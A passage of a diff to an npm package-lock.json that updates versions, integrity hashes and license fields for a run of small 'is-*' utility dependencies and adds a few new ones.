-      "resolved": "https://registry.npmjs.org/import-fresh/-/import-fresh-3.3.0.tgz",
-      "integrity": "sha512-veYYhQa+D1QBKznvhUHxb8faxlrwUnxseDAbAp457E0wLNio2bOSKnjYDhMj+YiAq61xrMGhQk9iXVk5FzgQMw==",
+      "version": "3.3.1",
+      "resolved": "https://registry.npmjs.org/import-fresh/-/import-fresh-3.3.1.tgz",
+      "integrity": "sha512-TR3KfrTZTYLPB6jUjfx6MF9WcWrHL9su5TObK4ZkYgBdWKPOFoSoQIdEuTuR82pmtxH2spWG9h6etwfr1pLBqQ==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "parent-module": "^1.0.0",
         "resolve-from": "^4.0.0"
@@ -7853,6 +8608,7 @@
       "resolved": "https://registry.npmjs.org/resolve-from/-/resolve-from-4.0.0.tgz",
       "integrity": "sha512-pb/MYmXstAkysRFx8piNI1tGFNQIFA3vkE3Gq4EuA1dF6gHp/+vgZqsCGJapvy8N3Q+4o7FwvquPJcnZ7RYy4g==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=4"
       }
@@ -7861,6 +8617,7 @@
       "version": "0.1.4",
       "resolved": "https://registry.npmjs.org/imurmurhash/-/imurmurhash-0.1.4.tgz",
       "integrity": "sha512-JmXMZ6wuvDmLiHEml9ykzqO6lwFbof0GG4IkcGaENdCRDDmMVnny7s5HsIgHCbaq0w2MyPhDqkhTUgS2LU2PHA==",
+      "license": "MIT",
       "engines": {
         "node": ">=0.8.19"
       }
@@ -7870,6 +8627,7 @@
       "resolved": "https://registry.npmjs.org/indent-string/-/indent-string-4.0.0.tgz",
       "integrity": "sha512-EdDDZu4A2OyIK7Lr/2zG+w5jmbuk1DVBnEwREQvBzspBJkCEbRa8GxU1lghYcaGJCnRWibjDXlq779X1/y5xwg==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=8"
       }
@@ -7878,6 +8636,8 @@
       "version": "1.0.6",
       "resolved": "https://registry.npmjs.org/inflight/-/inflight-1.0.6.tgz",
       "integrity": "sha512-k92I/b08q4wvFscXCLvqfsHCrjrF7yiXsQuIVvVE7N82W3+aqpzuUdBbfhWcy/FZR3/4IgflMgKLOsvPDrGCJA==",
+      "deprecated": "This module is not supported, and leaks memory. Do not use it. Check out lru-cache if you want a good and tested way to coalesce async requests by a key value, which is much more comprehensive and powerful.",
+      "license": "ISC",
       "dependencies": {
         "once": "^1.3.0",
         "wrappy": "1"
@@ -7886,18 +8646,21 @@
     "node_modules/inherits": {
       "version": "2.0.4",
       "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz",
-      "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ=="
+      "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==",
+      "license": "ISC"
     },
     "node_modules/ini": {
       "version": "1.3.8",
       "resolved": "https://registry.npmjs.org/ini/-/ini-1.3.8.tgz",
       "integrity": "sha512-JV/yugV2uzW5iMRSiZAyDtQd+nxtUnjeLt0acNdw98kKLrvuRVyB80tsREOE7yvGVgalhZ6RNXCmEHkUKBKxew==",
-      "dev": true
+      "dev": true,
+      "license": "ISC"
     },
     "node_modules/inquirer": {
       "version": "8.2.6",
       "resolved": "https://registry.npmjs.org/inquirer/-/inquirer-8.2.6.tgz",
       "integrity": "sha512-M1WuAmb7pn9zdFRtQYk26ZBoY043Sse0wVDdk4Bppr+JOXyQYybdtvK+l9wUibhtjdjvtoiNy8tk+EgsYIUqKg==",
+      "license": "MIT",
       "dependencies": {
         "ansi-escapes": "^4.2.1",
         "chalk": "^4.1.1",
@@ -7920,14 +8683,14 @@
       }
     },
     "node_modules/internal-slot": {
-      "version": "1.0.6",
-      "resolved": "https://registry.npmjs.org/internal-slot/-/internal-slot-1.0.6.tgz",
-      "integrity": "sha512-Xj6dv+PsbtwyPpEflsejS+oIZxmMlV44zAhG479uYu89MsjcYOhCFnNyKrkJrihbsiasQyY0afoCl/9BLR65bg==",
-      "dev": true,
+      "version": "1.1.0",
+      "resolved": "https://registry.npmjs.org/internal-slot/-/internal-slot-1.1.0.tgz",
+      "integrity": "sha512-4gd7VpWNQNB4UKKCFFVcp1AVv+FMOgs9NKzjHKusc8jTMhd5eL1NqQqOpE0KzMds804/yHlglp3uxgluOqAPLw==",
+      "license": "MIT",
       "dependencies": {
-        "get-intrinsic": "^1.2.2",
-        "hasown": "^2.0.0",
-        "side-channel": "^1.0.4"
+        "es-errors": "^1.3.0",
+        "hasown": "^2.0.2",
+        "side-channel": "^1.1.0"
       },
       "engines": {
         "node": ">= 0.4"
@@ -7938,6 +8701,7 @@
       "resolved": "https://registry.npmjs.org/into-stream/-/into-stream-6.0.0.tgz",
       "integrity": "sha512-XHbaOAvP+uFKUFsOgoNPRjLkwB+I22JFPFe5OjTkQ0nwgj6+pSjb4NmB6VMxaPshLiOf+zcpOCBQuLwC1KHhZA==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "from2": "^2.3.0",
         "p-is-promise": "^3.0.0"
@@ -7950,12 +8714,13 @@
       }
     },
     "node_modules/is-arguments": {
-      "version": "1.1.1",
-      "resolved": "https://registry.npmjs.org/is-arguments/-/is-arguments-1.1.1.tgz",
-      "integrity": "sha512-8Q7EARjzEnKpt/PCD7e1cgUS0a6X8u5tdSiMqXhojOdoV9TsMsiO+9VLC5vAmO8N7/GmXn7yjR8qnA6bVAEzfA==",
+      "version": "1.2.0",
+      "resolved": "https://registry.npmjs.org/is-arguments/-/is-arguments-1.2.0.tgz",
+      "integrity": "sha512-7bVbi0huj/wrIAOzb8U1aszg9kdi3KN/CyU19CTI7tAoZYEZoL9yCDXpbXN+uPsuWnP02cyug1gleqq+TU+YCA==",
+      "license": "MIT",
       "dependencies": {
-        "call-bind": "^1.0.2",
-        "has-tostringtag": "^1.0.0"
+        "call-bound": "^1.0.2",
+        "has-tostringtag": "^1.0.2"
       },
       "engines": {
         "node": ">= 0.4"
@@ -7965,14 +8730,17 @@
       }
     },
     "node_modules/is-array-buffer": {
-      "version": "3.0.2",
-      "resolved": "https://registry.npmjs.org/is-array-buffer/-/is-array-buffer-3.0.2.tgz",
-      "integrity": "sha512-y+FyyR/w8vfIRq4eQcM1EYgSTnmHXPqaF+IgzgraytCFq5Xh8lllDVmAZolPJiZttZLeFSINPYMaEJ7/vWUa1w==",
-      "dev": true,
+      "version": "3.0.5",
+      "resolved": "https://registry.npmjs.org/is-array-buffer/-/is-array-buffer-3.0.5.tgz",
+      "integrity": "sha512-DDfANUiiG2wC1qawP66qlTugJeL5HyzMpfr8lLK+jMQirGzNod0B12cFB/9q838Ru27sBwfw78/rdoU7RERz6A==",
+      "license": "MIT",
       "dependencies": {
-        "call-bind": "^1.0.2",
-        "get-intrinsic": "^1.2.0",
-        "is-typed-array": "^1.1.10"
+        "call-bind": "^1.0.8",
+        "call-bound": "^1.0.3",
+        "get-intrinsic": "^1.2.6"
+      },
+      "engines": {
+        "node": ">= 0.4"
       },
       "funding": {
         "url": "https://github.com/sponsors/ljharb"
@@ -7982,15 +8750,38 @@
       "version": "0.2.1",
       "resolved": "https://registry.npmjs.org/is-arrayish/-/is-arrayish-0.2.1.tgz",
       "integrity": "sha512-zz06S8t0ozoDXMG+ube26zeCTNXcKIPJZJi8hBrF4idCLms4CG9QtK7qBl1boi5ODzFpjswb5JPmHCbMpjaYzg==",
-      "dev": true
+      "dev": true,
+      "license": "MIT"
+    },
+    "node_modules/is-async-function": {
+      "version": "2.1.1",
+      "resolved": "https://registry.npmjs.org/is-async-function/-/is-async-function-2.1.1.tgz",
+      "integrity": "sha512-9dgM/cZBnNvjzaMYHVoxxfPj2QXt22Ev7SuuPrs+xav0ukGB0S6d4ydZdEiM48kLx5kDV+QBPrpVnFyefL8kkQ==",
+      "license": "MIT",
+      "dependencies": {
+        "async-function": "^1.0.0",
+        "call-bound": "^1.0.3",
+        "get-proto": "^1.0.1",
+        "has-tostringtag": "^1.0.2",
+        "safe-regex-test": "^1.1.0"
+      },
+      "engines": {
+        "node": ">= 0.4"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
+      }
     },
     "node_modules/is-bigint": {
-      "version": "1.0.4",
-      "resolved": "https://registry.npmjs.org/is-bigint/-/is-bigint-1.0.4.tgz",
-      "integrity": "sha512-zB9CruMamjym81i2JZ3UMn54PKGsQzsJeo6xvN3HJJ4CAsQNB6iRutp2To77OfCNuoxspsIhzaPoO1zyCEhFOg==",
-      "dev": true,
+      "version": "1.1.0",
+      "resolved": "https://registry.npmjs.org/is-bigint/-/is-bigint-1.1.0.tgz",
+      "integrity": "sha512-n4ZT37wG78iz03xPRKJrHTdZbe3IicyucEtdRsV5yglwc3GyUfbAfpSeD0FJ41NbUNSt5wbhqfp1fS+BgnvDFQ==",
+      "license": "MIT",
       "dependencies": {
-        "has-bigints": "^1.0.1"
+        "has-bigints": "^1.0.2"
+      },
+      "engines": {
+        "node": ">= 0.4"
       },
       "funding": {
         "url": "https://github.com/sponsors/ljharb"
@@ -8000,6 +8791,7 @@
       "version": "2.1.0",
       "resolved": "https://registry.npmjs.org/is-binary-path/-/is-binary-path-2.1.0.tgz",
       "integrity": "sha512-ZMERYes6pDydyuGidse7OsHxtbI7WVeUEozgR/g7rd0xUimYNlvZRE/K2MgZTjWy725IfelLeVcEM97mmtRGXw==",
+      "license": "MIT",
       "dependencies": {
         "binary-extensions": "^2.0.0"
       },
@@ -8008,13 +8800,13 @@
       }
     },
     "node_modules/is-boolean-object": {
-      "version": "1.1.2",
-      "resolved": "https://registry.npmjs.org/is-boolean-object/-/is-boolean-object-1.1.2.tgz",
-      "integrity": "sha512-gDYaKHJmnj4aWxyj6YHyXVpdQawtVLHU5cb+eztPGczf6cjuTdwve5ZIEfgXqH4e57An1D1AKf8CZ3kYrQRqYA==",
-      "dev": true,
+      "version": "1.2.2",
+      "resolved": "https://registry.npmjs.org/is-boolean-object/-/is-boolean-object-1.2.2.tgz",
+      "integrity": "sha512-wa56o2/ElJMYqjCjGkXri7it5FbebW5usLw/nPmCMs5DeZ7eziSYZhSmPRn0txqeW4LnAmQQU7FgqLpsEFKM4A==",
+      "license": "MIT",
       "dependencies": {
-        "call-bind": "^1.0.2",
-        "has-tostringtag": "^1.0.0"
+        "call-bound": "^1.0.3",
+        "has-tostringtag": "^1.0.2"
       },
       "engines": {
         "node": ">= 0.4"
@@ -8027,6 +8819,7 @@
       "version": "1.2.7",
       "resolved": "https://registry.npmjs.org/is-callable/-/is-callable-1.2.7.tgz",
       "integrity": "sha512-1BC0BVFhS/p0qtw6enp8e+8OD0UrK0oFLztSjNzhcKA3WDuJxxAPXzPuPtKkjEY9UUoEWlX/8fgKeu2S8i9JTA==",
+      "license": "MIT",
       "engines": {
         "node": ">= 0.4"
       },
@@ -8035,24 +8828,46 @@
       }
     },
     "node_modules/is-core-module": {
-      "version": "2.13.1",
-      "resolved": "https://registry.npmjs.org/is-core-module/-/is-core-module-2.13.1.tgz",
-      "integrity": "sha512-hHrIjvZsftOsvKSn2TRYl63zvxsgE0K+0mYMoH6gD4omR5IWB2KynivBQczo3+wF1cCkjzvptnI9Q0sPU66ilw==",
+      "version": "2.16.1",
+      "resolved": "https://registry.npmjs.org/is-core-module/-/is-core-module-2.16.1.tgz",
+      "integrity": "sha512-UfoeMA6fIJ8wTYFEUjelnaGI67v6+N7qXJEvQuIGa99l4xsCruSYOVSQ0uPANn4dAzm8lkYPaKLrrijLq7x23w==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
-        "hasown": "^2.0.0"
+        "hasown": "^2.0.2"
+      },
+      "engines": {
+        "node": ">= 0.4"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
+      }
+    },
+    "node_modules/is-data-view": {
+      "version": "1.0.2",
+      "resolved": "https://registry.npmjs.org/is-data-view/-/is-data-view-1.0.2.tgz",
+      "integrity": "sha512-RKtWF8pGmS87i2D6gqQu/l7EYRlVdfzemCJN/P3UOs//x1QE7mfhvzHIApBTRf7axvT6DMGwSwBXYCT0nfB9xw==",
+      "license": "MIT",
+      "dependencies": {
+        "call-bound": "^1.0.2",
+        "get-intrinsic": "^1.2.6",
+        "is-typed-array": "^1.1.13"
+      },
+      "engines": {
+        "node": ">= 0.4"
       },
       "funding": {
         "url": "https://github.com/sponsors/ljharb"
       }
     },
     "node_modules/is-date-object": {
-      "version": "1.0.5",
-      "resolved": "https://registry.npmjs.org/is-date-object/-/is-date-object-1.0.5.tgz",
-      "integrity": "sha512-9YQaSxsAiSwcvS33MBk3wTCVnWK+HhF8VZR2jRxehM16QcVOdHqPn4VPHmRK4lSr38n9JriurInLcP90xsYNfQ==",
-      "dev": true,
+      "version": "1.1.0",
+      "resolved": "https://registry.npmjs.org/is-date-object/-/is-date-object-1.1.0.tgz",
+      "integrity": "sha512-PwwhEakHVKTdRNVOw+/Gyh0+MzlCl4R6qKvkhuvLtPMggI1WAHt9sOwZxQLSGpUaDnrdyDsomoRgNnCfKNSXXg==",
+      "license": "MIT",
       "dependencies": {
-        "has-tostringtag": "^1.0.0"
+        "call-bound": "^1.0.2",
+        "has-tostringtag": "^1.0.2"
       },
       "engines": {
         "node": ">= 0.4"
@@ -8065,6 +8880,7 @@
       "version": "2.2.1",
       "resolved": "https://registry.npmjs.org/is-docker/-/is-docker-2.2.1.tgz",
       "integrity": "sha512-F+i2BKsFrH66iaUFc0woD8sLy8getkwTwtOBjvs56Cx4CgJDeKQeqfz8wAYiSb8JOprWhHH5p77PbmYCvvUuXQ==",
+      "license": "MIT",
       "bin": {
         "is-docker": "cli.js"
       },
@@ -8079,15 +8895,32 @@
       "version": "2.1.1",
       "resolved": "https://registry.npmjs.org/is-extglob/-/is-extglob-2.1.1.tgz",
       "integrity": "sha512-SbKbANkN603Vi4jEZv49LeVJMn4yGwsbzZworEoyEiutsN3nJYdbO36zfhGJ6QEDpOZIFkDtnq5JRxmvl3jsoQ==",
+      "license": "MIT",
       "engines": {
         "node": ">=0.10.0"
       }
     },
+    "node_modules/is-finalizationregistry": {
+      "version": "1.1.1",
+      "resolved": "https://registry.npmjs.org/is-finalizationregistry/-/is-finalizationregistry-1.1.1.tgz",
+      "integrity": "sha512-1pC6N8qWJbWoPtEjgcL2xyhQOP491EQjeUo3qTKcmV8YSDDJrOepfG8pcC7h/QgnQHYSv0mJ3Z/ZWxmatVrysg==",
+      "license": "MIT",
+      "dependencies": {
+        "call-bound": "^1.0.3"
+      },
+      "engines": {
+        "node": ">= 0.4"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
+      }
+    },
     "node_modules/is-fullwidth-code-point": {
       "version": "4.0.0",
       "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-4.0.0.tgz",
       "integrity": "sha512-O4L094N2/dZ7xqVdrXhh9r1KODPJpFms8B5sGdJLPy664AgvXsreZUyCQQNItZRDlYug4xStLjNp/sz3HvBowQ==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=12"
       },
@@ -8096,11 +8929,15 @@
       }
     },
     "node_modules/is-generator-function": {
-      "version": "1.0.10",
-      "resolved": "https://registry.npmjs.org/is-generator-function/-/is-generator-function-1.0.10.tgz",
-      "integrity": "sha512-jsEjy9l3yiXEQ+PsXdmBwEPcOxaXWLspKdplFUVI9vq1iZgIekeC0L167qeu86czQaxed3q/Uzuw0swL0irL8A==",
+      "version": "1.1.0",
+      "resolved": "https://registry.npmjs.org/is-generator-function/-/is-generator-function-1.1.0.tgz",
+      "integrity": "sha512-nPUB5km40q9e8UfN/Zc24eLlzdSf9OfKByBw9CIdw4H1giPMeA0OIJvbchsCu4npfI2QcMVBsGEBHKZ7wLTWmQ==",
+      "license": "MIT",
       "dependencies": {
-        "has-tostringtag": "^1.0.0"
+        "call-bound": "^1.0.3",
+        "get-proto": "^1.0.0",
+        "has-tostringtag": "^1.0.2",
+        "safe-regex-test": "^1.1.0"
       },
       "engines": {
         "node": ">= 0.4"
@@ -8113,6 +8950,7 @@
       "version": "4.0.3",
       "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-4.0.3.tgz",
       "integrity": "sha512-xelSayHH36ZgE7ZWhli7pW34hNbNl8Ojv5KVmkJD4hBdD3th8Tfk9vYasLM+mXWOZhFkgZfxhLSnrwRr4elSSg==",
+      "license": "MIT",
       "dependencies": {
         "is-extglob": "^2.1.1"
       },
@@ -8124,20 +8962,34 @@
       "version": "1.0.0",
       "resolved": "https://registry.npmjs.org/is-interactive/-/is-interactive-1.0.0.tgz",
       "integrity": "sha512-2HvIEKRoqS62guEC+qBjpvRubdX910WCMuJTZ+I9yvqKU2/12eSL549HMwtabb4oupdj2sMP50k+XJfB/8JE6w==",
+      "license": "MIT",
       "engines": {
         "node": ">=8"
       }
     },
+    "node_modules/is-map": {
+      "version": "2.0.3",
+      "resolved": "https://registry.npmjs.org/is-map/-/is-map-2.0.3.tgz",
+      "integrity": "sha512-1Qed0/Hr2m+YqxnM09CjA2d/i6YZNfF6R2oRAOj36eUdS6qIV/huPJNSEpKbupewFs+ZsJlxsjjPbc0/afW6Lw==",
+      "license": "MIT",
+      "engines": {
+        "node": ">= 0.4"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
+      }
+    },
     "node_modules/is-natural-number": {
       "version": "4.0.1",
       "resolved": "https://registry.npmjs.org/is-natural-number/-/is-natural-number-4.0.1.tgz",
-      "integrity": "sha512-Y4LTamMe0DDQIIAlaer9eKebAlDSV6huy+TWhJVPlzZh2o4tRP5SQWFlLn5N0To4mDD22/qdOq+veo1cSISLgQ=="
+      "integrity": "sha512-Y4LTamMe0DDQIIAlaer9eKebAlDSV6huy+TWhJVPlzZh2o4tRP5SQWFlLn5N0To4mDD22/qdOq+veo1cSISLgQ==",
+      "license": "MIT"
     },
     "node_modules/is-negative-zero": {
-      "version": "2.0.2",
-      "resolved": "https://registry.npmjs.org/is-negative-zero/-/is-negative-zero-2.0.2.tgz",
-      "integrity": "sha512-dqJvarLawXsFbNDeJW7zAz8ItJ9cd28YufuuFzh0G8pNHjJMnY08Dv7sYX2uF5UpQOwieAeOExEYAWWfu7ZZUA==",
-      "dev": true,
+      "version": "2.0.3",
+      "resolved": "https://registry.npmjs.org/is-negative-zero/-/is-negative-zero-2.0.3.tgz",
+      "integrity": "sha512-5KoIu2Ngpyek75jXodFvnafB6DJgr3u8uuK0LEZJjrU19DrMD3EVERaR8sjz8CCGgpZvxPl9SuE1GMVPFHx1mw==",
+      "license": "MIT",
       "engines": {
         "node": ">= 0.4"
       },
@@ -8149,17 +9001,19 @@
       "version": "7.0.0",
       "resolved": "https://registry.npmjs.org/is-number/-/is-number-7.0.0.tgz",
       "integrity": "sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==",
+      "license": "MIT",
       "engines": {
         "node": ">=0.12.0"
       }
     },
     "node_modules/is-number-object": {
-      "version": "1.0.7",
-      "resolved": "https://registry.npmjs.org/is-number-object/-/is-number-object-1.0.7.tgz",
-      "integrity": "sha512-k1U0IRzLMo7ZlYIfzRu23Oh6MiIFasgpb9X76eqfFZAqwH44UI4KTBvBYIZ1dSL9ZzChTB9ShHfLkR4pdW5krQ==",
-      "dev": true,
+      "version": "1.1.1",
+      "resolved": "https://registry.npmjs.org/is-number-object/-/is-number-object-1.1.1.tgz",
+      "integrity": "sha512-lZhclumE1G6VYD8VHe35wFaIif+CTy5SJIi5+3y4psDgWu4wPDoBhF8NxUOinEc7pHgiTsT6MaBb92rKhhD+Xw==",
+      "license": "MIT",
       "dependencies": {
-        "has-tostringtag": "^1.0.0"
+        "call-bound": "^1.0.3",
+        "has-tostringtag": "^1.0.2"
       },
       "engines": {
         "node": ">= 0.4"
@@ -8173,6 +9027,7 @@
       "resolved": "https://registry.npmjs.org/is-obj/-/is-obj-2.0.0.tgz",
       "integrity": "sha512-drqDG3cbczxxEJRoOXcOjtdp1J/lyp1mNn0xaznRs8+muBhgQcrnbspox5X5fOw0HnMnbfDzvnEMEtqDEJEo8w==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=8"
       }
@@ -8182,6 +9037,7 @@
       "resolved": "https://registry.npmjs.org/is-object/-/is-object-1.0.2.tgz",
       "integrity": "sha512-2rRIahhZr2UWb45fIOuvZGpFtz0TyOZLf32KxBbSoUCeZR495zCKlWUKKUByk3geS2eAs7ZAABt0Y/Rx0GiQGA==",
       "dev": true,
+      "license": "MIT",
       "funding": {
         "url": "https://github.com/sponsors/ljharb"
       }
@@ -8191,6 +9047,7 @@
       "resolved": "https://registry.npmjs.org/is-path-inside/-/is-path-inside-3.0.3.tgz",
       "integrity": "sha512-Fd4gABb+ycGAmKou8eMftCupSir5lRxqf4aD/vd0cD2qc4HL07OjCeuHMr8Ro4CoMaeCKDB0/ECBOVWjTwUvPQ==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=8"
       }
@@ -8199,6 +9056,7 @@
       "version": "1.1.0",
       "resolved": "https://registry.npmjs.org/is-plain-obj/-/is-plain-obj-1.1.0.tgz",
       "integrity": "sha512-yvkRyxmFKEOQ4pNXCmJG5AEQNlXJS5LaONXo5/cLdTZdWvsZ1ioJEonLGAosKlMWE8lwUy/bJzMjcw8az73+Fg==",
+      "license": "MIT",
       "engines": {
         "node": ">=0.10.0"
       }
@@ -8208,6 +9066,7 @@
       "resolved": "https://registry.npmjs.org/is-plain-object/-/is-plain-object-5.0.0.tgz",
       "integrity": "sha512-VRSzKkbMm5jMDoKLbltAkFQ5Qr7VDiTFGXxYFXXowVj387GeGNOCsOH6Msy00SGZ3Fp84b1Naa1psqgcCIEP5Q==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=0.10.0"
       }
@@ -8215,16 +9074,19 @@
     "node_modules/is-promise": {
       "version": "2.2.2",
       "resolved": "https://registry.npmjs.org/is-promise/-/is-promise-2.2.2.tgz",
-      "integrity": "sha512-+lP4/6lKUBfQjZ2pdxThZvLUAafmZb8OAxFb8XXtiQmS35INgr85hdOGoEs124ez1FCnZJt6jau/T+alh58QFQ=="
+      "integrity": "sha512-+lP4/6lKUBfQjZ2pdxThZvLUAafmZb8OAxFb8XXtiQmS35INgr85hdOGoEs124ez1FCnZJt6jau/T+alh58QFQ==",
+      "license": "MIT"
     },
     "node_modules/is-regex": {
-      "version": "1.1.4",
-      "resolved": "https://registry.npmjs.org/is-regex/-/is-regex-1.1.4.tgz",
-      "integrity": "sha512-kvRdxDsxZjhzUX07ZnLydzS1TU/TJlTUHHY4YLL87e37oUA49DfkLqgy+VjFocowy29cKvcSiu+kIv728jTTVg==",
-      "dev": true,
+      "version": "1.2.1",
+      "resolved": "https://registry.npmjs.org/is-regex/-/is-regex-1.2.1.tgz",
+      "integrity": "sha512-MjYsKHO5O7mCsmRGxWcLWheFqN9DJ/2TmngvjKXihe6efViPqc274+Fx/4fYj/r03+ESvBdTXK0V6tA3rgez1g==",
+      "license": "MIT",
       "dependencies": {
-        "call-bind": "^1.0.2",
-        "has-tostringtag": "^1.0.0"
+        "call-bound": "^1.0.2",
+        "gopd": "^1.2.0",
+        "has-tostringtag": "^1.0.2",
+        "hasown": "^2.0.2"
       },
       "engines": {
         "node": ">= 0.4"
@@ -8233,13 +9095,28 @@
         "url": "https://github.com/sponsors/ljharb"
       }
     },
+    "node_modules/is-set": {
+      "version": "2.0.3",
+      "resolved": "https://registry.npmjs.org/is-set/-/is-set-2.0.3.tgz",
+      "integrity": "sha512-iPAjerrse27/ygGLxw+EBR9agv9Y6uLeYVJMu+QNCoouJ1/1ri0mGrcWpfCqFZuzzx3WjtwxG098X+n4OuRkPg==",
+      "license": "MIT",
+      "engines": {
+        "node": ">= 0.4"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
+      }
+    },
     "node_modules/is-shared-array-buffer": {
-      "version": "1.0.2",
-      "resolved": "https://registry.npmjs.org/is-shared-array-buffer/-/is-shared-array-buffer-1.0.2.tgz",
-      "integrity": "sha512-sqN2UDu1/0y6uvXyStCOzyhAjCSlHceFoMKJW8W9EU9cvic/QdsZ0kEU93HEy3IUEFZIiH/3w+AH/UQbPHNdhA==",
-      "dev": true,
+      "version": "1.0.4",
+      "resolved": "https://registry.npmjs.org/is-shared-array-buffer/-/is-shared-array-buffer-1.0.4.tgz",
+      "integrity": "sha512-ISWac8drv4ZGfwKl5slpHG9OwPNty4jOWPRIhBpxOoD+hqITiwuipOQ2bNthAzwA3B4fIjO4Nln74N0S9byq8A==",
+      "license": "MIT",
       "dependencies": {
-        "call-bind": "^1.0.2"
+        "call-bound": "^1.0.3"
+      },
+      "engines": {
+        "node": ">= 0.4"
       },
       "funding": {
         "url": "https://github.com/sponsors/ljharb"
@@ -8249,17 +9126,19 @@
       "version": "1.1.0",
       "resolved": "https://registry.npmjs.org/is-stream/-/is-stream-1.1.0.tgz",
       "integrity": "sha512-uQPm8kcs47jx38atAcWTVxyltQYoPT68y9aWYdV6yWXSyW8mzSat0TL6CiWdZeCdF3KrAvpVtnHbTv4RN+rqdQ==",
+      "license": "MIT",
       "engines": {
         "node": ">=0.10.0"
       }
     },
     "node_modules/is-string": {
-      "version": "1.0.7",
-      "resolved": "https://registry.npmjs.org/is-string/-/is-string-1.0.7.tgz",
-      "integrity": "sha512-tE2UXzivje6ofPW7l23cjDOMa09gb7xlAqG6jG5ej6uPV32TlWP3NKPigtaGeHNu9fohccRYvIiZMfOOnOYUtg==",
-      "dev": true,
+      "version": "1.1.1",
+      "resolved": "https://registry.npmjs.org/is-string/-/is-string-1.1.1.tgz",
+      "integrity": "sha512-BtEeSsoaQjlSPBemMQIrY1MY0uM6vnS1g5fmufYOtnxLGUZM2178PKbhsk7Ffv58IX+ZtcvoGwccYsh0PglkAA==",
+      "license": "MIT",
       "dependencies": {
-        "has-tostringtag": "^1.0.0"
+        "call-bound": "^1.0.3",
+        "has-tostringtag": "^1.0.2"
       },
       "engines": {
         "node": ">= 0.4"
@@ -8269,12 +9148,14 @@
       }
     },
     "node_modules/is-symbol": {
-      "version": "1.0.4",
-      "resolved": "https://registry.npmjs.org/is-symbol/-/is-symbol-1.0.4.tgz",
-      "integrity": "sha512-C/CPBqKWnvdcxqIARxyOh4v1UUEOCHpgDa0WYgpKDFMszcrPcffg5uhwSgPCLD2WWxmq6isisz87tzT01tuGhg==",
-      "dev": true,
+      "version": "1.1.1",
+      "resolved": "https://registry.npmjs.org/is-symbol/-/is-symbol-1.1.1.tgz",
+      "integrity": "sha512-9gGx6GTtCQM73BgmHQXfDmLtfjjTUDSyoxTCbp5WtoixAhfgsDirWIcVQ/IHpvI5Vgd5i/J5F7B9cN/WlVbC/w==",
+      "license": "MIT",
       "dependencies": {
-        "has-symbols": "^1.0.2"
+        "call-bound": "^1.0.2",
+        "has-symbols": "^1.1.0",
+        "safe-regex-test": "^1.1.0"
       },
       "engines": {
         "node": ">= 0.4"
@@ -8288,6 +9169,7 @@
       "resolved": "https://registry.npmjs.org/is-text-path/-/is-text-path-1.0.1.tgz",
       "integrity": "sha512-xFuJpne9oFz5qDaodwmmG08e3CawH/2ZV8Qqza1Ko7Sk8POWbkRdwIoAWVhqvq0XeUzANEhKo2n0IXUGBm7A/w==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "text-extensions": "^1.0.0"
       },
@@ -8296,11 +9178,12 @@
       }
     },
     "node_modules/is-typed-array": {
-      "version": "1.1.12",
-      "resolved": "https://registry.npmjs.org/is-typed-array/-/is-typed-array-1.1.12.tgz",
-      "integrity": "sha512-Z14TF2JNG8Lss5/HMqt0//T9JeHXttXy5pH/DBU4vi98ozO2btxzq9MwYDZYnKwU8nRsz/+GVFVRDq3DkVuSPg==",
+      "version": "1.1.15",
+      "resolved": "https://registry.npmjs.org/is-typed-array/-/is-typed-array-1.1.15.tgz",
+      "integrity": "sha512-p3EcsicXjit7SaskXHs1hA91QxgTw46Fv6EFKKGS5DRFLD8yKnohjF3hxoju94b/OcMZoQukzpPpBE9uLVKzgQ==",
+      "license": "MIT",
       "dependencies": {
-        "which-typed-array": "^1.1.11"
+        "which-typed-array": "^1.1.16"
       },
       "engines": {
         "node": ">= 0.4"
@@ -8313,12 +9196,14 @@
       "version": "1.0.0",
       "resolved": "https://registry.npmjs.org/is-typedarray/-/is-typedarray-1.0.0.tgz",
       "integrity": "sha512-cyA56iCMHAh5CdzjJIa4aohJyeO1YbwLi3Jc35MmRU6poroFjIGZzUzupGiRPOjgHg9TLu43xbpwXk523fMxKA==",
-      "dev": true
+      "dev": true,
+      "license": "MIT"
     },
     "node_modules/is-unicode-supported": {
       "version": "0.1.0",
       "resolved": "https://registry.npmjs.org/is-unicode-supported/-/is-unicode-supported-0.1.0.tgz",
       "integrity": "sha512-knxG2q4UC3u8stRGyAVJCOdxFmv5DZiRcdlIaAQXAbSfJya+OhopNotLQrstBhququ4ZpuKbDc/8S6mgXgPFPw==",
+      "license": "MIT",
       "engines": {
         "node": ">=10"
       },
@@ -8326,13 +9211,44 @@
         "url": "https://github.com/sponsors/sindresorhus"
       }
     },
+    "node_modules/is-weakmap": {
+      "version": "2.0.2",
+      "resolved": "https://registry.npmjs.org/is-weakmap/-/is-weakmap-2.0.2.tgz",
